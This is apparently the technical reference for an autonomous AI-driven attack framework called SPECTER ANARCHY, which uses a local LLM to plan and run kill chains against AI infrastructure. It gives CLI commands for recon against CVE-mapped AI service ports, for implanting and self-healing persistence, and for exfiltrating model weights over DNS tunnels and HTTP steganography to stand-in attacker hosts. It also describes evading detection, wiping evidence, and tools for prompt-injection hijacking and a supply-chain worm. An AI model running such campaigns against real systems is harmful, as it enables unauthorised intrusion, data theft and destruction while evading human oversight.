T153  ·  L51  ·  Autonomous AI Kill Chain Orchestration

SPECTER ANARCHY — Technical Reference

Architecture

SPECTER ANARCHY operates as an autonomous orchestration layer over the NIGHTFALL tool ecosystem. The core components are:

ComponentPurpose
session.pySQLite WAL-mode session store — 6 tables, resumable across reboots
reasoning.pyDeepSeek R1:32b via Ollama — campaign planning and failure adaptation
clients/nightfall.pyNIGHTFALL_TOOL_REGISTRY — 35 tools mapped to CLI commands, invoked via subprocess
orchestrator.pyAnarkyOrchestrator — full campaign loop with dead-man check-in
subsystems/8 autonomous subsystems (deploy/recon/execute/adapt/persist/exfil/kill)
report.pyANY-{hex12} Ed25519+ML-DSA-65 dual-signed report generation

Campaign phase flow

INITIALIZED → RECON → PLANNING → EXECUTING → (ADAPTING ↔ DORMANT) → PERSISTING → EXFILTRATING → TERMINATED / OBJECTIVE_ACHIEVED

Requirements

DependencyPurposeVersion
OllamaDeepSeek R1:32b inference endpointlocalhost:11434
DeepSeek R1:32bCampaign planning + failure adaptationdeepseek-r1:32b (or :7b fallback)
NIGHTFALL toolsSubprocess invocation via CLI35 tools in PATH
pynaclEd25519 signing≥1.5
httpxOllama API + exfil HTTP channel≥0.27
clickCLI interface≥8.1
pydanticModel validation≥2.0

Installation

cd red-specter-specter-anarchy
pip install -e .

# Verify
specter-anarchy --help

# Check Ollama availability
specter-anarchy sessions  # shows Ollama status

DEPLOY-OBJECTIVE

Creates a SQLite-persisted campaign session. Returns a kill code the operator must keep secret.

specter-anarchy deploy-objective \
  --goal "Exfiltrate model weights from AI inference cluster" \
  --target-class ai_infrastructure \
  --scope 10.0.0.0/24 \
  --success-criteria "model weights confirmed in exfil log" \
  [--max-duration-hours 8] \
  [--max-detection-risk 0.7]

Target classes

ClassDescription
ai_infrastructureInference servers, model registries, training clusters
enterprise_itCorporate AI deployments, copilot systems, enterprise LLM APIs
cloud_nativeCloud-hosted AI services, serverless inference, managed ML
ot_industrialIndustrial AI controllers, robotic systems, AI-assisted OT
financial_servicesAI-driven trading, fraud detection, banking AI systems

RECON-AUTONOMOUS

TCP probe and HTTP fingerprint of all in-scope targets. CVE match against known AI service vulnerabilities.

specter-anarchy recon-autonomous --session-id <SID> [--ports 11434,7860,3000] [--continuous]

AI service port map

PortServiceCVE (if vulnerable)
11434OllamaCVE-2024-37032 CVSS 9.8
7860GradioCVE-2024-47084 CVSS 9.8
3000FlowiseCVE-2024-31621 CVSS 9.8
6333QdrantUnauthenticated vector DB
8501StreamlitUnauthenticated app
1080MCP serverInjection surface
9090ROS2 bridgeUnauthenticated robot control

PLAN-CAMPAIGN

DeepSeek R1:32b generates a multi-phase kill chain JSON from the recon summary and available NIGHTFALL tools. Requires INJECT gate.

export ANARCHY_INJECT_KEY=your-inject-token
specter-anarchy plan-campaign --session-id <SID> [--model deepseek-r1:7b]

The plan is stored in SQLite. Each phase contains: phase_id, name, tools, actions, success_conditions, fallback_paths. R1 reasoning blocks (<think>...</think>) are stripped before JSON extraction.

EXECUTE-AUTONOMOUS

Executes campaign phases by invoking NIGHTFALL tools via subprocess. Requires UNLEASHED gate + ROE file.

export ANARCHY_UNLEASHED_KEY=your-unleashed-token
specter-anarchy execute-autonomous \
  --session-id <SID> \
  --roe-path /path/to/roe.txt \
  [--dry-run] \
  [--max-failures-per-phase 3]

ROE file must contain the exact phrase: autonomous kill chain execution authorised

Detection risk accumulation

EventRisk delta
Tool success (stealth)−0.05
Tool failure (generic)+0.15
Detection signature in stderr (firewall/blocked/403/detected/alert)+0.25
Risk ≥ 0.70→ DORMANT (2h + vector rotation)

ADAPT-REASON

R1:32b analyses a failed phase and recommends an adaptation. Requires INJECT gate.

specter-anarchy adapt-reason \
  --session-id <SID> \
  --failed-phase-id P2 \
  --failure-reason "jackal inject returned 403 — WAF blocking"
ActionEffect
REPLANReplace failed phase with new phase (different tools/vectors)
SKIPRemove phase from plan, proceed to next
DORMANTSleep for dormancy_seconds, then retry
ABORTSet phase to TERMINATED (detection risk too high)

PERSIST-AUTONOMOUS

Implants 4-vector persistence fleet on all in-scope targets. Requires UNLEASHED gate.

specter-anarchy persist-autonomous \
  --session-id <SID> \
  --targets 10.0.0.5,10.0.0.7 \
  --roe-path /path/to/roe.txt

# Verify fleet survival
specter-anarchy persist-autonomous --session-id <SID> --action verify

# Self-heal cleared vectors
specter-anarchy persist-autonomous --session-id <SID> --action heal

EXFIL-AUTONOMOUS

Exfiltrates data via one of 3 covert channels. Requires UNLEASHED gate.

specter-anarchy exfil-autonomous \
  --session-id <SID> \
  --channel dns_tunnel \
  --data "model weights hex..." \
  --destination attacker-dns.example.com

# From file
specter-anarchy exfil-autonomous \
  --channel http_steg \
  --data @/tmp/weights.bin \
  --destination https://attacker.example.com/beacon

KILL-SWITCH

Cryptographic agent termination. SHA-256 kill code verification. Dead-man switch auto-activates on operator silence.

specter-anarchy kill-switch \
  --session-id <SID> \
  --kill-code <your-kill-code> \
  --confirm-destroy

On activation: phase → TERMINATED, destroy persistence (if UNLEASHED), zero-overwrite evidence files, generate ANY-{hex12} kill report, optionally destroy SQLite session DB.

Dead-man switch

The AnarkyOrchestrator calls checkin() on each campaign iteration. If the operator does not call kill-switch and the last check-in exceeds max_silence_hours, the dead-man switch fires automatically.

Gate Architecture

GateEnv VarUnlocks
OPENdeploy-objective, recon-autonomous, sessions, kill-switch, report-periodic
INJECTANARCHY_INJECT_KEYplan-campaign, adapt-reason
UNLEASHEDANARCHY_UNLEASHED_KEY + ROE "autonomous kill chain execution authorised"execute-autonomous, persist-autonomous, exfil-autonomous

Session Schema

Sessions are stored in ~/.specter_anarchy/sessions/<session_id>.db as SQLite WAL-mode databases.

TablePurpose
metaKey-value session metadata (phase, detection_risk, kill_code_hash, objective_json)
execution_logPer-action log: tool, action, success, stdout, stderr, risk_delta, timestamp
campaign_plansVersioned plan JSON from R1 planning + adaptations
persistence_vectorsActive persistence vectors: type, target, status, implant_data
exfil_logExfil events: channel, data_size, destination, success, timestamp
adaptation_logR1 adaptation decisions: phase_id, action, rationale, timestamp

Detection Risk Model

Detection risk is a continuous float clamped to [0.0, 1.0] stored in the session meta table.

risk = clamp(risk + delta, 0.0, 1.0)

delta values:
  tool success            → −0.05  (stealth success lowers risk over time)
  tool failure (generic)  → +0.15
  detection signature     → +0.25  (stderr contains: firewall/blocked/403/detected/alert)

threshold: 0.70 → DORMANT phase (2 hour dormancy + vector rotation)

NIGHTFALL Tool Registry

SPECTER ANARCHY invokes NIGHTFALL tools via subprocess, using a registry of 35 CLI commands.

KeyCLI commandCapability
jackalspecter-jackalPrompt injection + agent hijack
helixhelixAgent infrastructure lateral movement
extinctionspecter-extinctionTotal AI infrastructure annihilation
miasmaspecter-miasmaPolymorphic supply-chain worm
changelingspecter-changelingNHI identity exploitation
zombiespecter-zombieNHI token persistence
venomspecter-venomSupply chain backdoor
nomadspecter-nomadArtifact-mediated persistence
... 27 more tools in NIGHTFALL_REGISTRY

Reports

All reports are Ed25519+ML-DSA-65 dual-signed and saved to ~/.specter_anarchy/reports/.

Report typePrefixEvent
Progress reportANY-{hex12}Periodic campaign status via report-periodic
Kill reportANY-{hex12}KILL_SWITCH_ACTIVATED — termination confirmation

MITRE Mapping

FrameworkIDTechnique
ATT&CKT1059Command and Scripting Interpreter
ATT&CKT1098Account Manipulation
ATT&CKT1070Indicator Removal
ATT&CKT1078Valid Accounts
ATT&CKT1071Application Layer Protocol (C2)
ATT&CKT1041Exfiltration Over C2 Channel
ATT&CKT1486Data Encrypted for Impact
ATT&CKT1543Create or Modify System Process (Persistence)
ATLASAML.T0054LLM Prompt Injection
ATLASAML.T0043Craft Adversarial Data
ATLASAML.T0051LLM Jailbreak
ATLASAML.T0020Poison Training Data
ATLASAML.T0040ML Supply Chain Compromise
ATLASAML.T0012Valid Accounts (AI Systems)
ATLASAML.T0044Full ML Model Access